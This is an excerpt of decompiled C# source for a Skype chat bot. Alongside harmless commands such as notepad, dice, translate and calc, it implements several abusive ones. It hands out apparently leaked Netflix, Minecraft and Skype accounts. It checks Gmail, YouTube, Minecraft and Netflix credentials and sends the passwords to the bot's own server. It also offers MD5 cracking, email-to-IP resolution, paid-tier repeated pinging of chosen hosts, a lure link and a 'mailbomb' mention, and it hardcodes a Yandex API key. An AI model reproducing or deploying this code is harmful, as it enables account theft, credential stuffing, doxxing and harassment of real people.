  4403.                                         {
  4404.                                             string messageText2 = "----------NOTEPAD PANEL----------\r\n!notepad clear -- Clears your notepad\r\n!notepad get -- get your notepad text\r\n!notepad help -- Shows This Menu.\r\n!notepad set <text> -- sets your notepad text\r\n----------NOTEPAD PANEL----------";
  4405.                                             closure$__.$VB$Local_msg.Chat.SendMessage(messageText2);
  4406.                                             return;
  4407.                                         }
  4408.                                         ChatMessage msg25 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  4409.                                         WebClient webClient3 = new WebClient();
  4410.                                         webClient3.Proxy = null;
  4411.                                         flag2 = (Operators.CompareString(text17, "get", true) == 0);
  4412.                                         if (flag2)
  4413.                                         {
  4414.                                             string text18 = webClient3.DownloadString("http://apis.skypebot.ga/apis/notepad.php?skype=" + handle2 + "&auth=True");
  4415.                                             flag2 = (Operators.CompareString(text18, "", true) == 0 | Operators.CompareString(text18, " ", true) == 0);
  4416.                                             if (flag2)
  4417.                                             {
  4418.                                                 text18 = "No notepad setted!";
  4419.                                             }
  4420.                                             this.AddSwagToMSG(msg25, text18, 0);
  4421.                                         }
  4422.                                         else
  4423.                                         {
  4424.                                             flag2 = text17.StartsWith("set ");
  4425.                                             if (flag2)
  4426.                                             {
  4427.                                                 text17 = text17.Replace("set ", "");
  4428.                                                 string text19 = webClient3.DownloadString(string.Concat(new string[]
  4429.                                                 {
  4430.                                                     "http://apis.skypebot.ga/apis/notepad.php?skype=",
  4431.                                                     handle2,
  4432.                                                     "&msg=",
  4433.                                                     text17,
  4434.                                                     "&auth=True"
  4435.                                                 }));
  4436.                                                 this.AddSwagToMSG(msg25, "Message Set!", 0);
  4437.                                             }
  4438.                                             else
  4439.                                             {
  4440.                                                 flag2 = text17.StartsWith("clear");
  4441.                                                 if (flag2)
  4442.                                                 {
  4443.                                                     string text20 = webClient3.DownloadString("http://apis.skypebot.ga/apis/notepad.php?skype=" + handle2 + "&msg=No notepad setted!&auth=True");
  4444.                                                     this.AddSwagToMSG(msg25, "Cleared!", 0);
  4445.                                                 }
  4446.                                                 else
  4447.                                                 {
  4448.                                                     this.AddSwagToMSG(msg25, "Invalid command.", 0);
  4449.                                                 }
  4450.                                             }
  4451.                                         }
  4452.                                     }
  4453.                                     flag2 = (Operators.CompareString(text, "rtd", true) == 0 | Operators.CompareString(text, "dice", true) == 0);
  4454.                                     if (flag2)
  4455.                                     {
  4456.                                         ChatMessage chatMessage4 = closure$__.$VB$Local_msg.Chat.SendMessage("Rolling dice 1...");
  4457.                                         int num9 = Conversions.ToInteger(this.dice());
  4458.                                         Thread.Sleep(1000);
  4459.                                         chatMessage4.Body = "Rolling dice 2...";
  4460.                                         int num10 = Conversions.ToInteger(this.dice());
  4461.                                         Thread.Sleep(1000);
  4462.                                         chatMessage4.Body = "Depending your price based on results...";
  4463.                                         int value = num9 + num10;
  4464.                                         string text21;
  4465.                                         switch (value)
  4466.                                         {
  4467.                                         case 1:
  4468.                                             text21 = "You won an empty brick of milk";
  4469.                                             break;
  4470.                                         case 2:
  4471.                                             text21 = "You won bragging rights!";
  4472.                                             break;
  4473.                                         case 3:
  4474.                                             text21 = "Best person of the world!";
  4475.                                             break;
  4476.                                         case 4:
  4477.                                             text21 = "You lost!";
  4478.                                             break;
  4479.                                         case 5:
  4480.                                             text21 = "You won 5 pennies, ask your mom to redeem them!";
  4481.                                             break;
  4482.                                         case 6:
  4483.                                             text21 = Conversions.ToString(Operators.ConcatenateObject("You won a picture of yourself: ", this.shorten("http://www.megalook.ru/schild.swf?namee=" + this.Skypattach.get_User(closure$__.$VB$Local_msg.Sender.Handle).FullName)));
  4484.                                             break;
  4485.                                         case 7:
  4486.                                             text21 = "You won basicly nothing!";
  4487.                                             break;
  4488.                                         case 8:
  4489.                                             text21 = "You won a free steam game! Click here to redeem: http://gg.gg/FreeSteamGameSkypeBot";
  4490.                                             break;
  4491.                                         case 9:
  4492.                                             text21 = "Throw this once more, and you'll get banned!";
  4493.                                             break;
  4494.                                         case 10:
  4495.                                             text21 = "You won administrator rights on the bot!";
  4496.                                             break;
  4497.                                         case 11:
  4498.                                             text21 = "You are awesome!";
  4499.                                             break;
  4500.                                         case 12:
  4501.                                             text21 = "Altough this is the highest you can get, you won nothing!";
  4502.                                             break;
  4503.                                         default:
  4504.                                             text21 = "You won some knowledge: Did you know !mailbomb is a command?";
  4505.                                             break;
  4506.                                         }
  4507.                                         chatMessage4.Body = string.Concat(new string[]
  4508.                                         {
  4509.                                             "You threw ",
  4510.                                             Conversions.ToString(value),
  4511.                                             " (",
  4512.                                             Conversions.ToString(num9),
  4513.                                             " + ",
  4514.                                             Conversions.ToString(num10),
  4515.                                             ")\r\n",
  4516.                                             text21
  4517.                                         });
  4518.                                     }
  4519.                                     flag2 = (Operators.CompareString(text, "ping", true) == 0);
  4520.                                     if (flag2)
  4521.                                     {
  4522.                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "ping <ip> <times>");
  4523.                                     }
  4524.                                     flag2 = text.StartsWith("ping ");
  4525.                                     if (flag2)
  4526.                                     {
  4527.                                         ChatMessage $VB$Local_msg = closure$__.$VB$Local_msg;
  4528.                                         ChatMessage chatMessage5 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing ping...");
  4529.                                         string text22 = $VB$Local_msg.Body.Replace("ping ", "").Replace("!", "");
  4530.                                         string[] array6 = text22.Split(new char[]
  4531.                                         {
  4532.                                             ' '
  4533.                                         });
  4534.                                         try
  4535.                                         {
  4536.                                             string text23 = array6[0];
  4537.                                             text23 = array6[1];
  4538.                                         }
  4539.                                         catch (Exception expr_2410)
  4540.                                         {
  4541.                                             ProjectData.SetProjectError(expr_2410);
  4542.                                             this.AddSwagToMSG(chatMessage5, "Recheck your syntax! (!help ping)", 0);
  4543.                                             ProjectData.ClearProjectError();
  4544.                                         }
  4545.                                         flag2 = (array6.Length >= 2);
  4546.                                         if (flag2)
  4547.                                         {
  4548.                                             flag2 = array6[0].Contains(".");
  4549.                                             if (flag2)
  4550.                                             {
  4551.                                                 Process process = new Process();
  4552.                                                 ProcessStartInfo processStartInfo = new ProcessStartInfo("ping");
  4553.                                                 flag2 = Versioned.IsNumeric(array6[1]);
  4554.                                                 if (flag2)
  4555.                                                 {
  4556.                                                     flag = Conversions.ToBoolean(this.IsUltimate(closure$__.$VB$Local_msg.Sender.Handle));
  4557.                                                     if (!flag)
  4558.                                                     {
  4559.                                                         flag2 = Conversions.ToBoolean(Operators.AndObject(Conversions.ToDouble(array6[1]) > 60.0, this.IsPremium(closure$__.$VB$Local_msg.Sender.Handle)));
  4560.                                                         if (flag2)
  4561.                                                         {
  4562.                                                             array6[1] = Conversions.ToString(60);
  4563.                                                         }
  4564.                                                         else
  4565.                                                         {
  4566.                                                             flag2 = Conversions.ToBoolean(Operators.AndObject(Conversions.ToDouble(array6[1]) > 10.0, this.IsNormalUser(closure$__.$VB$Local_msg.Sender.Handle)));
  4567.                                                             if (flag2)
  4568.                                                             {
  4569.                                                                 array6[1] = Conversions.ToString(10);
  4570.                                                             }
  4571.                                                         }
  4572.                                                     }
  4573.                                                     processStartInfo.Arguments = array6[0] + " -l 1 -n " + Conversions.ToString(unchecked(Conversions.ToDouble(array6[1]) * 2.0));
  4574.                                                     processStartInfo.UseShellExecute = false;
  4575.                                                     processStartInfo.RedirectStandardOutput = true;
  4576.                                                     processStartInfo.CreateNoWindow = true;
  4577.                                                     process.StartInfo = processStartInfo;
  4578.                                                     process.Start();
  4579.                                                     StreamReader standardOutput = process.StandardOutput;
  4580.                                                     string text24;
  4581.                                                     while (true)
  4582.                                                     {
  4583.                                                         text24 = standardOutput.ReadLine().ToString().Replace(": bytes=1 time=", " with ").Replace(" TTL=", " and TLL = ").Replace("Reply from ", "");
  4584.                                                         string body = "Reply from " + text24;
  4585.                                                         flag2 = !text24.Contains("with");
  4586.                                                         if (flag2)
  4587.                                                         {
  4588.                                                             body = "Please wait...";
  4589.                                                         }
  4590.                                                         flag2 = text24.Contains("timed");
  4591.                                                         if (flag2)
  4592.                                                         {
  4593.                                                             body = "Request timed out.";
  4594.                                                         }
  4595.                                                         flag2 = text24.Contains("host");
  4596.                                                         if (flag2)
  4597.                                                         {
  4598.                                                             break;
  4599.                                                         }
  4600.                                                         flag2 = text24.Contains("Minimum");
  4601.                                                         if (flag2)
  4602.                                                         {
  4603.                                                             goto Block_101;
  4604.                                                         }
  4605.                                                         chatMessage5.Body = body;
  4606.                                                         flag2 = (Operators.CompareString(standardOutput.ReadLine(), "", true) == 0);
  4607.                                                         if (flag2)
  4608.                                                         {
  4609.                                                             goto Block_102;
  4610.                                                         }
  4611.                                                     }
  4612.                                                     this.AddSwagToMSG(chatMessage5, "Invalid host.", 0);
  4613.                                                     goto IL_272A;
  4614.                                                     Block_101:
  4615.                                                     this.AddSwagToMSG(chatMessage5, "Done, " + text24.Replace("    ", ""), 0);
  4616.                                                     Block_102:
  4617.                                                     IL_272A:;
  4618.                                                 }
  4619.                                                 else
  4620.                                                 {
  4621.                                                     this.AddSwagToMSG(chatMessage5, "ERROR: You entered an invalid number, try to swap the number and ip!", 0);
  4622.                                                 }
  4623.                                             }
  4624.                                             else
  4625.                                             {
  4626.                                                 this.AddSwagToMSG(chatMessage5, "Invalid IP!", 0);
  4627.                                             }
  4628.                                         }
  4629.                                         else
  4630.                                         {
  4631.                                             this.AddSwagToMSG(chatMessage5, "You didn't enter all fields! !help ping for more info!", 0);
  4632.                                         }
  4633.                                     }
  4634.                                     else
  4635.                                     {
  4636.                                         flag2 = (Operators.CompareString(text, "md5", true) == 0);
  4637.                                         if (flag2)
  4638.                                         {
  4639.                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "md5 <fromtext>");
  4640.                                         }
  4641.                                         flag2 = text.StartsWith("md5 ");
  4642.                                         if (flag2)
  4643.                                         {
  4644.                                             WebClient webClient4 = new WebClient();
  4645.                                             MD5 md5Hash = MD5.Create();
  4646.                                             ChatMessage msg26 = closure$__.$VB$Local_msg.Chat.SendMessage("Encoding...");
  4647.                                             string md5Hash2 = Form1.GetMd5Hash(md5Hash, text.Remove(0, 4));
  4648.                                             this.AddSwagToMSG(msg26, md5Hash2, 0);
  4649.                                             webClient4.Proxy = null;
  4650.                                             try
  4651.                                             {
  4652.                                                 webClient4.DownloadString("http://apis.skypebot.ga/apis/md5.php?type=hash&md=" + md5Hash2);
  4653.                                             }
  4654.                                             catch (Exception arg_27E8_0)
  4655.                                             {
  4656.                                                 ProjectData.SetProjectError(arg_27E8_0);
  4657.                                                 ProjectData.ClearProjectError();
  4658.                                             }
  4659.                                         }
  4660.                                         flag2 = (Operators.CompareString(text, "md5crack", true) == 0);
  4661.                                         if (flag2)
  4662.                                         {
  4663.                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "md5crack <hash>");
  4664.                                         }
  4665.                                         flag2 = text.StartsWith("md5crack ");
  4666.                                         if (flag2)
  4667.                                         {
  4668.                                             WebClient webClient5 = new WebClient();
  4669.                                             ChatMessage msg27 = closure$__.$VB$Local_msg.Chat.SendMessage("Decoding...");
  4670.                                             string str = text.Remove(0, 9);
  4671.                                             webClient5.Proxy = null;
  4672.                                             string message2 = webClient5.DownloadString("http://apis.skypebot.ga/apis/md5.php?type=crack&md=" + str);
  4673.                                             this.AddSwagToMSG(msg27, message2, 0);
  4674.                                         }
  4675.                                         flag2 = (Operators.CompareString(text, "translate", true) == 0);
  4676.                                         if (flag2)
  4677.                                         {
  4678.                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "translate <from/detect> <to> <text>");
  4679.                                         }
  4680.                                         flag2 = text.StartsWith("translate ");
  4681.                                         if (flag2)
  4682.                                         {
  4683.                                             ChatMessage msg28 = closure$__.$VB$Local_msg.Chat.SendMessage("Translating...");
  4684.                                             string[] array7 = text.Replace("translate ", "").Split(new char[]
  4685.                                             {
  4686.                                                 ' '
  4687.                                             });
  4688.                                             string text25 = array7[0];
  4689.                                             string too = array7[1];
  4690.                                             string text26 = "";
  4691.                                             int arg_2958_0 = 2;
  4692.                                             int num11 = array7.Length - 1;
  4693.                                             int num12 = arg_2958_0;
  4694.                                             while (true)
  4695.                                             {
  4696.                                                 int arg_2984_0 = num12;
  4697.                                                 int num3 = num11;
  4698.                                                 if (arg_2984_0 > num3)
  4699.                                                 {
  4700.                                                     break;
  4701.                                                 }
  4702.                                                 text26 = text26 + " " + array7[num12];
  4703.                                                 num12++;
  4704.                                             }
  4705.                                             flag2 = (Operators.CompareString(text25, "detect", true) == 0);
  4706.                                             if (flag2)
  4707.                                             {
  4708.                                                 string text27 = new WebClient
  4709.                                                 {
  4710.                                                     Proxy = null
  4711.                                                 }.DownloadString("https://translate.yandex.net/api/v1.5/tr.json/detect?key=trnsl.1.1.20141215T135708Z.ba81e2e1e88ceb3b.01c0238e50401659ba7225b414ed017ee7f523ab&text=" + text26.Replace(" ", "+"));
  4712.                                                 flag2 = text27.Contains("200");
  4713.                                                 string froom;
  4714.                                                 if (flag2)
  4715.                                                 {
  4716.                                                     froom = text27.Replace(MySettingsProperty.Settings.prf2, "").Replace(MySettingsProperty.Settings.prf3, "");
  4717.                                                 }
  4718.                                                 else
  4719.                                                 {
  4720.                                                     froom = "Error";
  4721.                                                 }
  4722.                                                 this.AddSwagToMSG(msg28, Conversions.ToString(this.translator(froom, too, text26)), 0);
  4723.                                             }
  4724.                                             else
  4725.                                             {
  4726.                                                 this.AddSwagToMSG(msg28, Conversions.ToString(this.translator(text25, too, text26)), 0);
  4727.                                             }
  4728.                                         }
  4729.                                         flag2 = (Operators.CompareString(text, "currency", true) == 0);
  4730.                                         if (flag2)
  4731.                                         {
  4732.                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "currency <from> <to> <amount>");
  4733.                                         }
  4734.                                         flag2 = text.StartsWith("currency ");
  4735.                                         if (flag2)
  4736.                                         {
  4737.                                             WebClient webClient6 = new WebClient();
  4738.                                             webClient6.Proxy = null;
  4739.                                             string[] array8 = text.Replace("currency ", "").Split(new char[]
  4740.                                             {
  4741.                                                 ' '
  4742.                                             });
  4743.                                             string text28 = array8[0];
  4744.                                             string text29 = array8[1];
  4745.                                             string text30 = array8[2];
  4746.                                             ChatMessage msg29 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  4747.                                             string str2 = webClient6.DownloadString(string.Concat(new string[]
  4748.                                             {
  4749.                                                 "http://apis.skypebot.ga/apis/currency.php?from=",
  4750.                                                 text28.Replace("€", "EUR").Replace("$", "USD").Replace("£", "GBP").ToUpper(),
  4751.                                                 "&to=",
  4752.                                                 text29.Replace("€", "EUR").Replace("$", "USD").Replace("£", "GBP").ToUpper(),
  4753.                                                 "&amount=",
  4754.                                                 text30.Replace(",", ".")
  4755.                                             }));
  4756.                                             this.AddSwagToMSG(msg29, str2 + " " + text29.Replace("€", "EUR").Replace("$", "USD").Replace("£", "GBP").ToUpper(), 0);
  4757.                                         }
  4758.                                         flag2 = (Operators.CompareString(text, "netflix", true) == 0);
  4759.                                         if (flag2)
  4760.                                         {
  4761.                                             ChatMessage msg30 = closure$__.$VB$Local_msg.Chat.SendMessage("Getting a new netflix account...");
  4762.                                             WebClient webClient7 = new WebClient();
  4763.                                             string text31 = Conversions.ToString(this.POST("http://apis.skypebot.ga/apis/gen.php?account=Netflix&auth=max", "h=True"));
  4764.                                             try
  4765.                                             {
  4766.                                                 flag2 = Conversions.ToBoolean(this.IsPremium(closure$__.$VB$Local_msg.Sender.Handle));
  4767.                                                 if (!flag2)
  4768.                                                 {
  4769.                                                     closure$__.$VB$Local_msg.Chat.SendMessage("Command is only for premium members!");
  4770.                                                     return;
  4771.                                                 }
  4772.                                                 webClient7.Proxy = null;
  4773.                                                 this.AddSwagToMSG(msg30, "Found one!, Checking if the account is working...", 0);
  4774.                                                 string[] array9 = text31.Split(new char[]
  4775.                                                 {
  4776.                                                     ':'
  4777.                                                 });
  4778.                                                 string pass = array9[1];
  4779.                                                 string user2 = array9[0];
  4780.                                                 string text32 = this.Nfcheck(user2, pass);
  4781.                                                 this.AddSwagToMSG(msg30, text31 + "\r\nDon't leech!", 0);
  4782.                                             }
  4783.                                             catch (Exception expr_2D39)
  4784.                                             {
  4785.                                                 ProjectData.SetProjectError(expr_2D39);
  4786.                                                 this.AddSwagToMSG(msg30, text31 + "\r\nDon't leech!", 0);
  4787.                                                 ProjectData.ClearProjectError();
  4788.                                             }
  4789.                                         }
  4790.                                         flag2 = (Operators.CompareString(text, "minecraft", true) == 0);
  4791.                                         if (flag2)
  4792.                                         {
  4793.                                             ChatMessage msg31 = closure$__.$VB$Local_msg.Chat.SendMessage("Getting a new minecraft account...");
  4794.                                             string text33 = Conversions.ToString(this.POST("http://skypebot.ga/apis/apis/mcgen5553.php", "h=True"));
  4795.                                             try
  4796.                                             {
  4797.                                                 flag2 = Conversions.ToBoolean(this.IsPremium(closure$__.$VB$Local_msg.Sender.Handle));
  4798.                                                 if (!flag2)
  4799.                                                 {
  4800.                                                     closure$__.$VB$Local_msg.Chat.SendMessage("Command is only for premium members!");
  4801.                                                     return;
  4802.                                                 }
  4803.                                                 WebClient webClient8 = new WebClient();
  4804.                                                 webClient8.Proxy = null;
  4805.                                                 this.AddSwagToMSG(msg31, "Found one!, Checking if the account is working...", 0);
  4806.                                                 string[] array10 = text33.Split(new char[]
  4807.                                                 {
  4808.                                                     ':'
  4809.                                                 });
  4810.                                                 string text34 = array10[1];
  4811.                                                 string text35 = array10[0];
  4812.                                                 this.AddSwagToMSG(msg31, text33 + "\r\nDon't leech!", 0);
  4813.                                             }
  4814.                                             catch (Exception expr_2E5E)
  4815.                                             {
  4816.                                                 ProjectData.SetProjectError(expr_2E5E);
  4817.                                                 this.AddSwagToMSG(msg31, text33 + " -- UNCHECKED", 0);
  4818.                                                 ProjectData.ClearProjectError();
  4819.                                             }
  4820.                                         }
  4821.                                         flag2 = text.StartsWith("skype");
  4822.                                         if (flag2)
  4823.                                         {
  4824.                                             WebClient webClient9 = new WebClient();
  4825.                                             webClient9.Proxy = null;
  4826.                                             ChatMessage msg32 = closure$__.$VB$Local_msg.Chat.SendMessage("Gathering account...");
  4827.                                             this.AddSwagToMSG(msg32, webClient9.DownloadString("http://skypebot.ga/apis/apis/skype.php"), 0);
  4828.                                         }
  4829.                                         flag2 = (Operators.CompareString(text, "calc", true) == 0);
  4830.                                         if (flag2)
  4831.                                         {
  4832.                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "calc <expression> OR !calc help");
  4833.                                         }
  4834.                                         flag2 = (Operators.CompareString(text, "calc help", true) == 0);
  4835.                                         if (flag2)
  4836.                                         {
  4837.                                             closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.calc);
  4838.                                         }
  4839.                                         flag2 = text.StartsWith("calc ");
  4840.                                         if (flag2)
  4841.                                         {
  4842.                                             ChatMessage msg33 = closure$__.$VB$Local_msg.Chat.SendMessage("Calculating at a much higher speed then you do...");
  4843.                                             flag2 = (Operators.CompareString(text, "calc help", true) == 0);
  4844.                                             if (flag2)
  4845.                                             {
  4846.                                                 return;
  4847.                                             }
  4848.                                             try
  4849.                                             {
  4850.                                                 flag2 = text.Contains("^");
  4851.                                                 if (flag2)
  4852.                                                 {
  4853.                                                     closure$__.$VB$Local_msg.Chat.SendMessage("We can't do that :c");
  4854.                                                     return;
  4855.                                                 }
  4856.                                                 string message3 = NewLateBinding.LateGet(this.Evaluator1, null, "Eval", new object[]
  4857.                                                 {
  4858.                                                     text.Replace("!", "").Replace("calc ", "")
  4859.                                                 }, null, null, null).ToString();
  4860.                                                 this.AddSwagToMSG(msg33, message3, 0);
  4861.                                             }
  4862.                                             catch (Exception expr_302D)
  4863.                                             {
  4864.                                                 ProjectData.SetProjectError(expr_302D);
  4865.                                                 Exception ex = expr_302D;
  4866.                                                 closure$__.$VB$Local_msg.Chat.SendMessage("We can't do that :c");
  4867.                                                 closure$__.$VB$Local_msg.Chat.SendMessage(Conversions.ToString(this.paste(string.Concat(new string[]
  4868.                                                 {
  4869.                                                     "Host: ",
  4870.                                                     this.Skypattach.CurrentUserHandle,
  4871.                                                     "\r\nSender: ",
  4872.                                                     closure$__.$VB$Local_msg.Sender.Handle,
  4873.                                                     "\r\nCmd: ",
  4874.                                                     closure$__.$VB$Local_msg.Body,
  4875.                                                     "\r\nError: ",
  4876.                                                     ex.ToString()
  4877.                                                 }), "Error!")));
  4878.                                                 ProjectData.ClearProjectError();
  4879.                                             }
  4880.                                         }
  4881.                                         flag2 = (Operators.CompareString(text, "dns", true) == 0);
  4882.                                         if (flag2)
  4883.                                         {
  4884.                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "dns <domain>");
  4885.                                         }
  4886.                                         flag2 = text.StartsWith("dns ");
  4887.                                         if (flag2)
  4888.                                         {
  4889.                                             ChatMessage chatMessage6 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  4890.                                             try
  4891.                                             {
  4892.                                                 IPHostEntry iPHostEntry = Dns.Resolve(text.Replace("dns ", ""));
  4893.                                                 IPAddress[] addressList = iPHostEntry.AddressList;
  4894.                                                 chatMessage6.Body = "Dns records:";
  4895.                                                 IPAddress[] array11 = addressList;
  4896.                                                 for (int i = 0; i < array11.Length; i++)
  4897.                                                 {
  4898.                                                     IPAddress iPAddress = array11[i];
  4899.                                                     chatMessage6.Body = chatMessage6.Body + "\r\n" + iPAddress.ToString();
  4900.                                                 }
  4901.                                             }
  4902.                                             catch (Exception expr_31F9)
  4903.                                             {
  4904.                                                 ProjectData.SetProjectError(expr_31F9);
  4905.                                                 Exception ex2 = expr_31F9;
  4906.                                                 flag2 = ex2.ToString().ToLower().Contains("no such host is known");
  4907.                                                 if (flag2)
  4908.                                                 {
  4909.                                                     this.AddSwagToMSG(chatMessage6, "Invalid host.", 0);
  4910.                                                 }
  4911.                                                 ProjectData.ClearProjectError();
  4912.                                             }
  4913.                                         }
  4914.                                         flag2 = text.StartsWith("createg");
  4915.                                         if (flag2)
  4916.                                         {
  4917.                                             ChatMessage msg34 = closure$__.$VB$Local_msg.Chat.SendMessage("Creating...");
  4918.                                             this.AddSwagToMSG(msg34, "Unable to create group, do /createmoderatedchat and add everyone you want there, that'll work!", 0);
  4919.                                         }
  4920.                                         flag2 = (Operators.CompareString(text, "check", true) == 0);
  4921.                                         if (flag2)
  4922.                                         {
  4923.                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "check <help/arguments>");
  4924.                                         }
  4925.                                         flag2 = text.StartsWith("check ");
  4926.                                         if (flag2)
  4927.                                         {
  4928.                                             string text36 = text.Replace("check ", "");
  4929.                                             flag2 = (Operators.CompareString(text36, "help", true) == 0);
  4930.                                             if (flag2)
  4931.                                             {
  4932.                                                 closure$__.$VB$Local_msg.Chat.SendMessage("----------CHECK PANEL----------\r\nDoesn't support spaces in passwords!\r\n!check gmail <mail> <password> -- Checks if a gmail acc is working!\r\n!check mc <user/mail> <password> -- Checks if a minecraft account is working\r\n!check nf <mail> <password> -- Checks if a netflix account is working\r\n!check yt <mail> <password> -- Checks if a youtube account is working!\r\n----------CHECK PANEL----------");
  4933.                                             }
  4934.                                             WebClient webClient10 = new WebClient();
  4935.                                             webClient10.Proxy = null;
  4936.                                             text36 = text36.Replace(":", " ");
  4937.                                             flag2 = text36.StartsWith("gmail ");
  4938.                                             if (flag2)
  4939.                                             {
  4940.                                                 ChatMessage msg35 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking...");
  4941.                                                 string text37 = "http://apis.skypebot.ga/apis/gmail.php?mail=[user]&pass=[pass]";
  4942.                                                 string[] array12 = text36.Replace("mc ", "").Split(new char[]
  4943.                                                 {
  4944.                                                     ' '
  4945.                                                 });
  4946.                                                 string newValue = array12[1];
  4947.                                                 string newValue2 = array12[0];
  4948.                                                 flag2 = !webClient10.DownloadString(text37.Replace("[user]", newValue2).Replace("[pass]", newValue)).ToLower().Contains("doesn't ");
  4949.                                                 if (flag2)
  4950.                                                 {
  4951.                                                     this.AddSwagToMSG(msg35, "This account is working!", 0);
  4952.                                                 }
  4953.                                                 else
  4954.                                                 {
  4955.                                                     this.AddSwagToMSG(msg35, "This account isn't working, please recheck it!", 0);
  4956.                                                 }
  4957.                                             }
  4958.                                             flag2 = text36.StartsWith("mc ");
  4959.                                             if (flag2)
  4960.                                             {
  4961.                                                 ChatMessage msg36 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking...");
  4962.                                                 string text37 = "http://apis.skypebot.ga/apis/mccheck.php?user=[user]&pass=[pass]";
  4963.                                                 string[] array13 = text36.Replace("mc ", "").Split(new char[]
  4964.                                                 {
  4965.                                                     ' '
  4966.                                                 });
  4967.                                                 string newValue3 = array13[1];
  4968.                                                 string newValue4 = array13[0];
  4969.                                                 flag2 = webClient10.DownloadString(text37.Replace("[user]", newValue4).Replace("[pass]", newValue3)).ToLower().Contains("working");
  4970.                                                 if (flag2)
  4971.                                                 {
  4972.                                                     this.AddSwagToMSG(msg36, "This account is working!", 0);
  4973.                                                 }
  4974.                                                 else
  4975.                                                 {
  4976.                                                     this.AddSwagToMSG(msg36, "This account isn't working, please recheck it!", 0);
  4977.                                                 }
  4978.                                             }
  4979.                                             flag2 = text36.StartsWith("yt ");
  4980.                                             if (flag2)
  4981.                                             {
  4982.                                                 ChatMessage msg37 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking...");
  4983.                                                 string text37 = "http://apis.skypebot.ga/apis/yt.php?mail=[user]&pass=[pass]";
  4984.                                                 string[] array14 = text36.Replace("yt ", "").Split(new char[]
  4985.                                                 {
  4986.                                                     ' '
  4987.                                                 });
  4988.                                                 string newValue5 = array14[1];
  4989.                                                 string newValue6 = array14[0];
  4990.                                                 flag2 = !webClient10.DownloadString(text37.Replace("[user]", newValue6).Replace("[pass]", newValue5)).ToLower().Contains("doesn't ");
  4991.                                                 if (flag2)
  4992.                                                 {
  4993.                                                     this.AddSwagToMSG(msg37, "This account is working!", 0);
  4994.                                                 }
  4995.                                                 else
  4996.                                                 {
  4997.                                                     this.AddSwagToMSG(msg37, "This account isn't working, please recheck it!", 0);
  4998.                                                 }
  4999.                                             }
  5000.                                             flag2 = text36.StartsWith("nf ");
  5001.                                             if (flag2)
  5002.                                             {
  5003.                                                 ChatMessage msg38 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking...");
  5004.                                                 string[] array15 = text36.Replace("nf ", "").Split(new char[]
  5005.                                                 {
  5006.                                                     ' '
  5007.                                                 });
  5008.                                                 string pass2 = array15[1];
  5009.                                                 string user3 = array15[0];
  5010.                                                 flag2 = (Operators.CompareString(this.Nfcheck(user3, pass2), "1", true) == 0);
  5011.                                                 if (flag2)
  5012.                                                 {
  5013.                                                     this.AddSwagToMSG(msg38, "This account is working!", 0);
  5014.                                                 }
  5015.                                                 else
  5016.                                                 {
  5017.                                                     this.AddSwagToMSG(msg38, "This account isn't working, please recheck it!", 0);
  5018.                                                 }
  5019.                                             }
  5020.                                         }
  5021.                                         flag2 = (Operators.CompareString(text, "mail2skype", true) == 0);
  5022.                                         if (flag2)
  5023.                                         {
  5024.                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "mail2skype <mail>");
  5025.                                         }
  5026.                                         flag2 = text.StartsWith("mail2skype ");
  5027.                                         if (flag2)
  5028.                                         {
  5029.                                             ChatMessage msg39 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  5030.                                             string str3 = text.Replace("mail2skype ", "");
  5031.                                             this.AddSwagToMSG(msg39, "Getting skypename...", 0);
  5032.                                             WebClient webClient11 = new WebClient();
  5033.                                             webClient11.Proxy = null;
  5034.                                             string text38 = Conversions.ToString(this.POST("http://apis.skypebot.ga/apis/mail2skype.php", "auth=sb&u=" + str3));
  5035.                                             flag2 = (Operators.CompareString(text38, "", true) == 0);
  5036.                                             if (flag2)
  5037.                                             {
  5038.                                                 text38 = "No results found.";
  5039.                                             }
  5040.                                             this.AddSwagToMSG(msg39, text38.Replace(" | ", ", "), 0);
  5041.                                         }
  5042.                                         flag2 = (Operators.CompareString(text, "mail2ip", true) == 0);
  5043.                                         if (flag2)
  5044.                                         {
  5045.                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "mail2ip <mail>");
  5046.                                         }
  5047.                                         flag2 = text.StartsWith("mail2ip ");
  5048.                                         if (flag2)
  5049.                                         {
  5050.                                             ChatMessage chatMessage7 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  5051.                                             string str4 = text.Replace("mail2ip ", "");
  5052.                                             this.AddSwagToMSG(chatMessage7, "Getting skypename...", 0);
  5053.                                             WebClient webClient12 = new WebClient();
  5054.                                             webClient12.Proxy = null;
  5055.                                             string text39 = Conversions.ToString(NewLateBinding.LateGet(this.POST("http://apis.skypebot.ga/apis/mail2skype.php", "auth=sb&u=" + str4), null, "Replace", new object[]
  5056.                                             {
  5057.                                                 " | ",
  5058.                                                 " "
  5059.                                             }, null, null, null));
  5060.                                             flag2 = (Operators.CompareString(text39, "", true) == 0);
  5061.                                             if (flag2)
  5062.                                             {
  5063.                                                 this.AddSwagToMSG(chatMessage7, "No results found!", 0);
  5064.                                             }
  5065.                                             chatMessage7.Body = "Resolving...";
  5066.                                             flag2 = text39.Contains(" ");
  5067.                                             if (!flag2)
  5068.                                             {
  5069.                                                 string skype = text39;
  5070.                                                 chatMessage7.Body = "Resolver 1: Resolving...\r\nResolver 2: Resolving...\r\nCached IPs: Resolving...";
